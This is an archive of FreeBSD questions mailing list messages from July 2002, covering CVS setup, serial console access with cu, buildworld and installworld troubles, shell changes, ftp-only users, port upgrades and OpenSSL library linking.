style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Matthew Metnetsky</SPAN></DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
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Hash: SHA1

That would be correct Matt.  cvshome.org has great manuals about how to
set it up, it's pretty easy.  Good luck!

MET wrote:
| I'm currently working on a web site with about 5 other people spread
| throughout the U.S. and figured that setting up CVS to maintain the
| chaos would be great.  However I have no idea how.  Naturally I've
| skimmed through cvshome.org, but I have a strange feeling with all
| that FreeBSD does with CVS that it probably comes pre-installed and is
| purely a matter of setting it up for my specific project?.
|
| Is that true?
|
| - Matthew Metnetsky
|
|
| /**************************************************************
|
|       Matthew Metnetsky
|
|       met@uberstats.com
|
| **************************************************************/


- --
- -Jason Porter

"Real programmers are secure enough to write
readable code, which they then self-righteously
refuse to explain."
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From owner-freebsd-questions  Tue Jul 30 12:42: 1 2002
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Date: Tue, 30 Jul 2002 14:40:48 -0500
From: Chris <chris@ooc2000.com>
Subject: How to use my FreeBSD box as a terminal
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Hi all, my router has a console port that I can connect to with a computer 
that has a serial port. There are only instructions for Windows, and my 
development laptop here doesn't have a serial port. Plus I'd like to 
connect using a FreeBSD box anyway. Trouble is, I know nothing about 
terminals or that sort of thing. I suspect it's an easy question -- fire up 
a terminal, telling it to use my serial port and 9600,0,1, but I don't know 
how to do that!

Can anyone help? Everything online seems to tell how to connect a terminal 
*to* my machine, not how to use it as a terminal to connect to something else.

Thanks,
Chris


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From owner-freebsd-questions  Tue Jul 30 12:42: 4 2002
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http://www.durak.org/cvswebsites/howto-cvs/
cool 

-------------------------------------------------
Moti 
www.flncs.com
-------------------------------------------------
be careful what you wish for ...
-------------------------------------------------

----- Original Message ----- 
From: "Jason Porter" <leporter@xmission.com>
To: "MET" <met@uberstats.com>
Cc: <questions@freebsd.org>
Sent: Tuesday, July 30, 2002 3:36 PM
Subject: Re: CVS


> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> That would be correct Matt.  cvshome.org has great manuals about how to
> set it up, it's pretty easy.  Good luck!
> 
> MET wrote:
> | I'm currently working on a web site with about 5 other people spread
> | throughout the U.S. and figured that setting up CVS to maintain the
> | chaos would be great.  However I have no idea how.  Naturally I've
> | skimmed through cvshome.org, but I have a strange feeling with all
> | that FreeBSD does with CVS that it probably comes pre-installed and is
> | purely a matter of setting it up for my specific project?.
> |
> | Is that true?
> |
> | - Matthew Metnetsky
> |
> |
> | /**************************************************************
> |
> |       Matthew Metnetsky
> |
> |       met@uberstats.com
> |
> | **************************************************************/
> 
> 
> - --
> - -Jason Porter
> 
> "Real programmers are secure enough to write
> readable code, which they then self-righteously
> refuse to explain."
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.0.7 (FreeBSD)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
> 
> iD8DBQE9RuqjYV2rputn/eARAtPvAKDwD/WUo2QSGDcKnksfIKdhEjNEwwCgkNGh
> WdDy7aH3HehTLg/Xz5o+Y1g=
> =B730
> -----END PGP SIGNATURE-----
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
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> 


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Date: Tue, 30 Jul 2002 22:50:46 +0000
From: "D. Penev" <dpenev@mail.bg>
To: G Norm <gnorm@mac.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Confused with make installworld
Message-ID: <20020730225046.GA256@earth.dpsca.bg>
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On Tue, Jul 30, 2002 at 02:15:03PM -0400, G Norm wrote:
>Date: Tue, 30 Jul 2002 14:15:03 -0400
>Subject: Confused with make installworld
>From: G Norm <gnorm@mac.com>
>To: freebsd-questions@FreeBSD.ORG
>
>Hello,

Hi.

>
>I am trying to cvsup to 4.6 release. I performed the following task 
>after installing from a 4.4 CD.
>
>cd /etc/cvsupfile
>*default host=cvsup.FreeBSD.org
>*default base=/usr
>*default prefix=/usr
>*default release=cvs
>*default tag=RELENG_4_6_0_RELEASE
>*default delete use-rel-suffix
>
>src-all
>*default tag=.
>ports-all
>doc-all
>
># /usr/local/bin/cvsup -g -L 2 /etc/cvsupfile
>This part of the update worked fine.
>
>
>#edit /etc/make.conf
>CFLAGS= -0 -pipe
>NOPROFILE=	true	# Avoid compiling profiled libraries
>saved changes
>
># script ~/buildworld.out
>Script started, output file is ~/buildworld.out
># make buildworld
>got an error message - 'cannot make buildworld'
>
>I continued the upgrade because I think this is optional.
>
># cd /usr/src
># make -j4 buildworld
># make buildkernel
># make installkernel
>reboot to single user mode
>
>#cd /usr/src
>directory not found.
>  I was not able to do a make installworld because there is no /usr/src. 
>/usr only have hidden files. In full user mode /usr/src is there with 
>several files and directories.

I guess that /usr is in separate file system and needs to be mounted first.
Do:
# /sbin/mount -a

>
>I then rebooted back into full user mode. During the boot process I 
>noticed my system is using FreeBSD 4.6 Release.
>
>Can someone tell me what's happening here? How can I be using 4.6 
>release without running make installworld? Have I done something wrong, 
>if so what?

Kernel is 4.6 because you make installkernel (this move 4.4 kernel to
/kernel.old and copy new one to /kernel), but userland programs are still 4.4
and you will get in troubles with some programs that aren't in sync with 4.6
kernel, unless you make installworld.

>
>Thanks
>Greg
>
>
>To Unsubscribe: send mail to majordomo@FreeBSD.org
>with "unsubscribe freebsd-questions" in the body of the message

And don't forget to run mergemaster at the final.

-- 
Regards,
D. Penev

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From owner-freebsd-questions  Tue Jul 30 13: 4:47 2002
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Date: Tue, 30 Jul 2002 12:58:03 -0700 (PDT)
From: Ed Yu <edlyu@yahoo.com>
Subject: Re: Changing my Shell & Customizing the Console
To: MET <met@uberstats.com>, freebsd-questions@FreeBSD.ORG
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> I'm currently using the default installed shell "sh"
> and was wondering
> how to change my users to the "bash" shell.  I've
> installed it using
> packages so it should be on my machine correctly,
> but that's as far as I
> know.

You can do 'chsh' or simply edit /etc/passwd and
change the last part where the shell is. However, you
do have to make sure the shell you want to use (zsh or
bash) is installed and that it's location is in
/etc/shells. Look at these files and you'll know what
I mean.

>  
> Also, I've connected into a few web servers through
> telnet and have
> noticed that you can create a color-scheme for
> different file types, and
> was wondering how to set this up myself.
>  

Here is the easy way:
1. export TERM=xterm-color (or setenv TERM
xterm-color, depending on your shell)
2. ls -G instead of ls

ed

__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com

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From owner-freebsd-questions  Tue Jul 30 13:10:51 2002
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Subject: re: ddclient with Zone Edit dynamic DNS
From: Stacey Roberts <stacey@Demon.vickiandstacey.com>
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Hello,
     I've got my own personal domain name, but have a DSL connection
with dynamic IP addressing assigned by my ISP.

I've registered and set up a Dynamic DNS account with ZoneEdit.com, and
I'm hoping to use ddclient for the client IP address update program.

Is anyone successfully using ddclient with ZoneEdit.com? If so, please
get in touch. I did try this last time (prior to the box being rebuilt),
but I had problems getting ddclient to work properly in daemon mode.

For starters the router I have is the SMC 7401BRA Barricade ADSL Router,
which isn't listed as a supported router by ddclient, so I had tried to
get external IP Address updates via the URL set-up, but this resulted in
lots of failure notices in /var/log/messages and in daily mail to root.

If anyone is able to advise, I'll look forward to hearing from you.

Thanks for the time.

Stacey




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From owner-freebsd-questions  Tue Jul 30 13:17:43 2002
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Date: Tue, 30 Jul 2002 22:17:26 +0200
From: David =?iso-8859-1?Q?Sieb=F6rger?= <drs@rucus.ru.ac.za>
To: Chris <chris@ooc2000.com>
Cc: freebsd-questions@freebsd.org
Subject: Re: How to use my FreeBSD box as a terminal
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On Tue 2002-07-30 (14:40), Chris wrote:
> Hi all, my router has a console port that I can connect to with a computer 
> that has a serial port. There are only instructions for Windows, and my 
> development laptop here doesn't have a serial port. Plus I'd like to 
> connect using a FreeBSD box anyway. Trouble is, I know nothing about 
> terminals or that sort of thing. I suspect it's an easy question -- fire up 
> a terminal, telling it to use my serial port and 9600,0,1, but I don't know 
> how to do that!

I've used cu and minicom to do that.  cu is included in FreeBSD, and
can be used like so:

    $ cu -s 9600 -l /dev/cuaa0
    Connected.


    User Access Verification

    Username: 

cuaa0 is COM1; replace as appropriate.  Type ~. to disconnect.

minicom is a full-featured serial comms package which reminds of
Telix.  You'll find it in the comms section of the ports collection. 
And I'm sure there are plenty of other alternatives, too.


-- 
David Siebörger
drs@rucus.ru.ac.za

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From owner-freebsd-questions  Tue Jul 30 13:49:10 2002
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From: "Phil Gates" <p_gates@fuse.net>
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Subject: ftp only login
Date: Tue, 30 Jul 2002 17:07:14 -0400
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I need to allow a user to login to ftp but not login in an other way.  =
Does anybody know how I can do this.  I was told to change the shell to =
some file such as /dev/null so the user would have no shell to login to. =
 I changed the /etc/passwd file to do this.  When I try to login I was =
still able to login., do I need to change any other files?
Or is there a different way to keep  a user  from only login in as a ftp =
client.  ?=20

Thanks=20

Phil Gates=20
email :
p_gates@fuse.net

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</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I need to allow a user to login to ftp =
but not=20
login in an other way.&nbsp; Does anybody know how I can do this.&nbsp; =
I was=20
told to change the shell to some file such as /dev/null so the user =
would have=20
no shell to login to.&nbsp; I changed the /etc/passwd file to do =
this.&nbsp;=20
When I try to login I was still able to login., do I need to change any =
other=20
files?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Or is there a different way to =
keep&nbsp; a=20
user&nbsp; from only login in as a ftp client. &nbsp;? </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Phil Gates </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>email :</FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>p_gates@fuse.net</FONT></DIV></BODY></HTML>

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From owner-freebsd-questions  Tue Jul 30 13:51:55 2002
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I logged into my machine just now and it says, "You have New Mail".
 
How do I check it ?  (could I be more pathetic)
 
- Matthew
 
 
/**************************************************************
 
      Matthew Metnetsky
 
      met@uberstats.com
 
**************************************************************/

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<DIV><SPAN class=3D434075520-30072002><FONT face=3DVerdana =
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logged into my machine just now and it says, "You have New=20
Mail".</FONT></SPAN></DIV>
<DIV><SPAN class=3D434075520-30072002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D434075520-30072002><FONT face=3DVerdana =
color=3D#0000ff size=3D2>How=20
do I check it ?&nbsp; (could I be more pathetic)</FONT></SPAN></DIV>
<DIV><SPAN class=3D434075520-30072002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D434075520-30072002><FONT face=3DVerdana =
color=3D#0000ff size=3D2>-=20
Matthew</FONT></SPAN></DIV>
<DIV><SPAN class=3D434075520-30072002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D434075520-30072002>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
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AR-SA"></SPAN>&nbsp;</DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA">/**************************************************************</S=
PAN></DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA"></SPAN>&nbsp;</DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
Matthew Metnetsky</SPAN></DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
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AR-SA"></SPAN>&nbsp;</DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<FONT=20
color=3D#ff0000>met@uberstats.com</FONT></SPAN></DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA"></SPAN>&nbsp;</DIV>
<DIV align=3Dleft><SPAN=20
style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: AR-SA"><SPAN=20
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mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA">**************************************************************/</S=
PAN></SPAN></DIV></SPAN></DIV></BODY></HTML>

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From owner-freebsd-questions  Tue Jul 30 13:54:16 2002
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From: "Lee" <lee@unassemble.co.uk>
To: "MET" <met@uberstats.com>, <freebsd-questions@FreeBSD.ORG>
References: <004201c2380b$8e8ce7f0$6901a8c0@SURVIVAL>
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This is a multi-part message in MIME format.

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MessageType mail and then press enter

Regards

Lee
  ----- Original Message -----=20
  From: MET=20
  To: freebsd-questions@FreeBSD.ORG=20
  Sent: Tuesday, July 30, 2002 9:56 PM
  Subject: Newbie Mail


  I logged into my machine just now and it says, "You have New Mail".

  How do I check it ?  (could I be more pathetic)

  - Matthew


  /**************************************************************

        Matthew Metnetsky

        met@uberstats.com

  **************************************************************/

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	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Message</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2716.2200" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Type&nbsp;mail and then press =
enter</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Lee</FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Dmet@uberstats.com href=3D"mailto:met@uberstats.com">MET</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  title=3Dfreebsd-questions@FreeBSD.ORG=20
  =
href=3D"mailto:freebsd-questions@FreeBSD.ORG">freebsd-questions@FreeBSD.O=
RG</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Tuesday, July 30, 2002 =
9:56=20
PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Newbie Mail</DIV>
  <DIV><BR></DIV>
  <DIV><SPAN class=3D434075520-30072002><FONT face=3DVerdana =
color=3D#0000ff size=3D2>I=20
  logged into my machine just now and it says, "You have New=20
  Mail".</FONT></SPAN></DIV>
  <DIV><SPAN class=3D434075520-30072002><FONT face=3DVerdana =
color=3D#0000ff=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D434075520-30072002><FONT face=3DVerdana =
color=3D#0000ff=20
  size=3D2>How do I check it ?&nbsp; (could I be more=20
pathetic)</FONT></SPAN></DIV>
  <DIV><SPAN class=3D434075520-30072002><FONT face=3DVerdana =
color=3D#0000ff=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D434075520-30072002><FONT face=3DVerdana =
color=3D#0000ff size=3D2>-=20
  Matthew</FONT></SPAN></DIV>
  <DIV><SPAN class=3D434075520-30072002><FONT face=3DVerdana =
color=3D#0000ff=20
  size=3D2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D434075520-30072002>
  <DIV align=3Dleft><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA"></SPAN>&nbsp;</DIV>
  <DIV align=3Dleft><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA">/**************************************************************</S=
PAN></DIV>
  <DIV align=3Dleft><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA"></SPAN>&nbsp;</DIV>
  <DIV align=3Dleft><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  Matthew Metnetsky</SPAN></DIV>
  <DIV align=3Dleft><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA"></SPAN>&nbsp;</DIV>
  <DIV align=3Dleft><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<FONT=20
  color=3D#ff0000><A=20
  =
href=3D"mailto:met@uberstats.com">met@uberstats.com</A></FONT></SPAN></DI=
V>
  <DIV align=3Dleft><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA"></SPAN>&nbsp;</DIV>
  <DIV align=3Dleft><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: AR-SA"><SPAN=20
  style=3D"FONT-SIZE: 10pt; COLOR: red; FONT-FAMILY: 'Courier New'; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA">**************************************************************/</S=
PAN></SPAN></DIV></SPAN></DIV></BLOCKQUOTE></BODY></HTML>

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From owner-freebsd-questions  Tue Jul 30 13:54:44 2002
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hehe, that's okay Matt.  You can check it with a mail client if you have
one installed, I like pine, there's elm, pine, mutt and a bunch of
others.  Or you can simply

# mail

That's a basic mail client that comes with FreeBSD, but it should do
what you want it to.

MET wrote:
| I logged into my machine just now and it says, "You have New Mail".
|
| How do I check it ?  (could I be more pathetic)
|
| - Matthew
|
|
| /**************************************************************
|
|       Matthew Metnetsky
|
|       met@uberstats.com
|
| **************************************************************/


- --
- -Jason Porter

"Real programmers are secure enough to write
readable code, which they then self-righteously
refuse to explain."
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (FreeBSD)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQE9Rv0PYV2rputn/eARAgU0AJwNhCrdsM5iPym/Un3rzLBzz0KiNQCfUjdZ
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From owner-freebsd-questions  Tue Jul 30 13:55:43 2002
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Date: Tue, 30 Jul 2002 22:55:19 +0200
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Subject: install via console with boot from harddisk
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I've got a number of machines running at various customer locations,
some of them on the other side of the world. At each site there are at
least two machines and they are always interconnected via null-modem
cables, so I can access the console on the serial port. I have done a
number of installations this way, preparing a set of boot floppies (with
serial console set) for the customers and having them boot the machines
from these floppies.

What I'm trying to do (as incredible as it may sound, for some customers
it is even difficult to boot a system from a pair of floppies and with
others time difference is a big problem): for upgrades I want to install
the contents of the boot disks onto the harddisk of the running old
installation and boot the machines into these installation routines.
(full system upgrade via source code not possible for space reasons
etc.) I have spent several days trying everything I could think of, but
I can't get anything which does work. The furthest I could get once,
was as far as starting the installation and then the system somehow got
confused trying to re-layout the harddisk from which it was booted. And
I always thought mfsroot is copied into memory and work done from there,
leaving the boot media alone.

Now I'm out of ideas and knowledge. Has anybody ever succeeded copying
installation kernel etc. of a new version of FreeBSD on the disk of a
running older version, booting into it and successfully do an install of
the new version? How did you do it?

Thanks,

Kurt

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From owner-freebsd-questions  Tue Jul 30 13:59:25 2002
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To: freebsd-questions@freebsd.org
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>>>>> "JM" == John Mills <jmmills@telocity.com> writes:

JM> Apple has run a great series of ads in e-Week, showing that [definitely]
JM> pretty desktop and suggesting their combination of iBook and Mac OS X is
JM> the answer to a SysAdmin's prayer: sexy _and_ cute.

Last week at O'Reilly's Open Source conference, about a billion people
were sporting shiny new PowerBooks and iBooks.  Two of us had those
creaky old iBooks, too.

The next time I need to update my desktop at work, it will be running
MacOS X.  The servers will still run FreeBSD, though...


-- 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Vivek Khera, Ph.D.                Khera Communications, Inc.
Internet: khera@kciLink.com       Rockville, MD       +1-240-453-8497
AIM: vivekkhera Y!: vivek_khera   http://www.khera.org/~vivek/

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From owner-freebsd-questions  Tue Jul 30 14: 3:30 2002
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To: FreeBSD Question Mailing List <questions@freebsd.org>
Subject: checking if something is already in an array
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Hi all,

	I'm really stupid lately with Perl and stuff, but I got this list
of screen names and I made it into an array in perl called @sns.  I want
to count the amount of times each name shows up in that array and I want
to make an array of each name in the original array, but only occuring
once.

adarc22
adarc22
adarc22
adarc22
alldayyesterday
alldayyesterday
babygurl2835
babygurl2835
bctictac8
bctictac8
beth42085
cc skillet
ccgirl436
ccgirl436
devilchik205
dublindamien
e is happy
e is happy
fritzilldo
ilaughatyourlife
jea9f2oo3
katsie236
kelzy16
lauren md 6 9
mastahuy85
meikman99
meikman99
reggie645
reggie645
reggie645
reggie645
reggie645
reggie645
reggie645
russh2112
russh2112
sllissa85
superman lmd 69

...is my original array but I want a new array with each name in this
array appearing only once and count each name's occurance in an additional
array, even a 2d array works. (if you can do that in Perl...?)

Thanks a lot,
Christopher J. Umina


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From owner-freebsd-questions  Tue Jul 30 14: 6:42 2002
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Dear all

I am using freebsd 4.6 and installed the ports
zebra-server 0.92a
but the new verion of zebra is 0.93a

How can I upgrade it?

Thank you

_______________________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com.hk address at http://mail.english.yahoo.com.hk

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From owner-freebsd-questions  Tue Jul 30 14: 6:53 2002
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Phil Gates wrote:

> I need to allow a user to login to ftp but not login in an other way.  
> Does anybody know how I can do this.  I was told to change the shell to 
> some file such as /dev/null so the user would have no shell to login 
> to.  I changed the /etc/passwd file to do this.  When I try to login I 
> was still able to login., do I need to change any other files?
> 
> Or is there a different way to keep  a user  from only login in as a ftp 
> client.  ?


Did you use vipw or an editor and then forgot to upgrade the password 
database. If you didn't, use vipw and replace a letter with the same 
letter and exit. This way you will get used to using vipw to update a 
password.

Kent


> 
>  
> 
> Thanks
> 
>  
> 
> Phil Gates
> 
> email :
> 
> p_gates@fuse.net
> 


-- 
Kent Stewart
Richland, WA

http://users.owt.com/kstewart/index.html


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From owner-freebsd-questions  Tue Jul 30 14:16:32 2002
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adrian kok wrote:

> Dear all
> 
> I am using freebsd 4.6 and installed the ports
> zebra-server 0.92a
> but the new verion of zebra is 0.93a


Well, I think two things have happened. The /usr/ports/INDEX still 
refers to the old version. The latest version is in the cvs 
repository. So, you probably need to cvsup ports-all and then update 
INDEX. You can either

cd /usr/ports
make index

or

portsdb -uU

after you cvsup. If you are using portupgrade, you are supposed to run 
portsdb after each cvsup of ports-all.

Kent


> 
> How can I upgrade it?
> 
> Thank you
> 
> _______________________________________________________________________
> Do You Yahoo!?
> Get your free @yahoo.com.hk address at http://mail.english.yahoo.com.hk
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
> .
> 
> 


-- 
Kent Stewart
Richland, WA

http://users.owt.com/kstewart/index.html


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From owner-freebsd-questions  Tue Jul 30 14:17:38 2002
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To: <freebsd-questions@FreeBSD.ORG>
Subject: libcrypto.so.2 in openssl
Date: Tue, 30 Jul 2002 16:17:34 -0500
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I just compiled openssl-0.9.6e, and it doesn't seem to replace the
libcrypto.so.2 file which is leftover from the old version of openssl.
I gave config the "shared" option, and it created other .so files, but
not this one.  

Any ideas on what I'm missing here?

A recompile of apps that use openssl still links them to libcrypto.so.2.
This is part of openssl right?

Thanks.


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From owner-freebsd-questions  Tue Jul 30 14:27:16 2002
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Jay Austad wrote:

> I just compiled openssl-0.9.6e, and it doesn't seem to replace the
> libcrypto.so.2 file which is leftover from the old version of openssl.
> I gave config the "shared" option, and it created other .so files, but
> not this one.  
> 
> Any ideas on what I'm missing here?


Did you cvsup src-all and then rebuild your system and kernel. This 
error usually follows an incomplete update.

Kent


> 
> A recompile of apps that use openssl still links them to libcrypto.so.2.
> This is part of openssl right?
> 
> Thanks.
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
> .
> 
> 


-- 
Kent Stewart
Richland, WA

http://users.owt.com/kstewart/index.html


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From owner-freebsd-questions  Tue Jul 30 14:29:16 2002
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+++ Fuzzy [30/07/02 11:23 -0400]:
> 
> 
> On Tue, 30 Jul 2002, Hanspeter Roth wrote:
> 
> > Ok. Thank you.
> > And what about readcd? `dd if=/dev/acd0c of=image'?
> >
> 
> I thought one needed bs=2048 for ISOs?
> 
> dd if=/dev/acd0c of=image.iso bs=2048
> 

2048 is the smallest block you can read from a cdrom drive.

Ken

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From owner-freebsd-questions  Tue Jul 30 14:30:34 2002
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  On Jul 30 at 11:23, Fuzzy spoke:

> I thought one needed bs=2048 for ISOs?
> 
> dd if=/dev/acd0c of=image.iso bs=2048

Indeed `bs-2048' helps.
Thank you.

-Hanspeter

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From owner-freebsd-questions  Tue Jul 30 14:35:36 2002
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I am running zope and want to integrate mysql.

I am running into trouble and the zope list folks are telling
me I should have mysql-python installed.

It doesn't seem to be in the ports, or it is not coming up
with 'locate python | grep mysql | grep ports'
.

Does the zope-zmysqlda port modify python maybe?

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Cc: <freebsd-questions@FreeBSD.ORG>
Subject: RE: libcrypto.so.2 in openssl
Date: Tue, 30 Jul 2002 16:35:51 -0500
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I downloaded the source for openssl and installed it over the old one.
Is this a no-no?  

./config --prefix=/usr shared
make
make test
make install

Everything works, except libcrypto.so.2 never gets updated, and some
apps when recompiled still link to it.

> -----Original Message-----
> From: Kent Stewart [mailto:kstewart@owt.com] 
> Sent: Tuesday, July 30, 2002 4:27 PM
> To: Jay Austad
> Cc: freebsd-questions@FreeBSD.ORG
> Subject: Re: libcrypto.so.2 in openssl
> 
> 
> 
> 
> Jay Austad wrote:
> 
> > I just compiled openssl-0.9.6e, and it doesn't seem to replace the 
> > libcrypto.so.2 file which is leftover from the old version 
> of openssl. 
> > I gave config the "shared" option, and it created other .so 
> files, but 
> > not this one.
> > 
> > Any ideas on what I'm missing here?
> 
> 
> Did you cvsup src-all and then rebuild your system and kernel. This 
> error usually follows an incomplete update.
> 
> Kent
> 
> 
> > 
> > A recompile of apps that use openssl still links them to 
> > libcrypto.so.2. This is part of openssl right?
> > 
> > Thanks.
> > 
> > 
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> > 
> > .
> > 
> > 
> 
> 
> -- 
> Kent Stewart
> Richland, WA
> 
http://users.owt.com/kstewart/index.html


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From owner-freebsd-questions  Tue Jul 30 14:36: 4 2002
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Date: Tue, 30 Jul 2002 22:36:03 +0100
Subject: Odd vinum config
